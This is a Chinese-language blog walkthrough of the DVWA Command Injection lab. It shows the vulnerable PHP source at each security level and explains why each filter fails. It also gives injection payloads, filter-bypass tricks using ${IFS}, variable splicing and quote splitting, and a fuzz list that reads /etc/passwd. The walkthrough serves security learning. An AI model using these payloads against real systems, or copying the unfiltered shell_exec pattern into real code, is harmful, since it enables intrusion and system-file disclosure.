zoukankan      html  css  js  c++  java
  • 【DVWA】Command Injection(命令注入)通关教程


    日期:2019-08-01 16:05:34
    更新:
    作者:Bay0net
    介绍:利用命令注入,来复习了一下绕过过滤的方法,还可以写一个字典来 fuzz 命令注入的点。


    0x01、 漏洞介绍

    仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。

    用户的一切输入都是不可信的。

    0x02、Low Security Level

    查看源码

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?> 
    

    分析代码

    获取 IP 的值,直接传参使用 shell_exec 执行。

    • Windows 的话执行 ping 命令。
    • linux 的话,执行 ping -c 4 命令。

    payload 如下,关于管道符的相关命令,见文末。

    127.0.0.1;ifconfig
    127.0.0.1&ifconfig
    127.0.0.1&&ifconfig
    127.0.0.1|ifconfig
    x||ifconfig
    

    0x03、Medium Security Level

    查看源码

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?> 
    

    分析源码

    过滤了 &&;,用其他的可以继续执行。

    0x04、High Security Level

    查看源码

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
    
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?> 
    

    分析源码

    过滤的是 |,有个空格,所以可以使用不带空格的 payload 。

    127.0.0.1|ifconfig
    

    0x05、Impossible Security Level

    查看源码

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
    
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
    
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
    
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
    
            // Feedback for the end user
            echo "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            echo '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    分析源码

    • 使用 user_token,来过滤请求
    • 把传来的参数分割(以.为分隔符),如果分割出来的东西,不是数字,就报错。

    没想到有什么办法能绕过,可能真的是 impossible 的了。。

    0x06、相关知识

    关于管道符

    linux 中的管道符

    # &  表示任务在后台执行,如要在后台运行 redis-server
    redis-server &
    
    # && 表示前一条命令执行成功时,才执行后一条命令 ,如 
    echo '1' && echo '2'
    
    # | 表示管道,上一条命令的输出,作为下一条命令参数,如
    echo 'yes' | wc -l
    
    # || 表示上一条命令执行失败后,才执行下一条命令,如
    cat nofile || echo "fail"
    

    关于绕过(空格、拼接、单双引号)

    绕过空格

    利用 < 来绕过,只能读文件
    cat<flag
    cat<>flag
    
    利用 ${IFS} 绕过
    ls${IFS}./tmp
    cat${IFS}/tmp/1.txt
    
    利用 $IFS$9、${IFS}$9 也可以绕过,和上面的一样
    

    拼接绕过

    ls 的变形
    a=l;b=s;$a$b
    
    uname -a 的变形
    a=una;b=me$IFS$9-a;$a$b
    
    cat /tmp/flag
    a=ca;b=t$IFS$9/tm;c=p/fla;d=g.txt;$a$b$c$d
    

    单双引号反斜杠

    c''at fl""ag
    cat flag
    

    对应

    ${PS2} 对应字符 ‘>’
    ${PS4} 对应字符 ‘+’
    ${IFS} 对应 内部字段分隔符
    ${9} 对应 空字符串
    

    fuzz 字典

    &ifconfig
    &&ifconfig
    &&&ifconfig
    &&&&ifconfig
    |ifconfig
    ||ifconfig
    |||ifconfig
    ||||ifconfig
    ;ifconfig
    ;;ifconfig
    & ifconfig
    && ifconfig
    | ifconfig
    || ifconfig
    ; ifconfig
    &${IFS}ifconfig
    &&${IFS}ifconfig
    |${IFS}ifconfig
    ||${IFS}ifconfig
    ;${IFS}ifconfig
    a=if;b=config;$a$b
    a=una;b=me$IFS$9-a;$a$b
    cat /etc/passwd
    c''at /e""tc/pas""swd
    
  • 相关阅读:
    iOS 开发学习之 User Interface(2)UIWindow 视窗
    iOS 开发学习之 User Interface(1)APP 生命周期
    OC-学习Tips
    初识Objective-C
    Android代码报错:setContentView(R.layout.activity_main)
    解决Discuz! info: MySQL Query Error
    技术网站
    java调用机器上的shell脚本
    素材网、图片库
    database工具
  • 原文地址:https://www.cnblogs.com/v1vvwv/p/DVWA-Command-Injection.html
Copyright © 2011-2022 走看看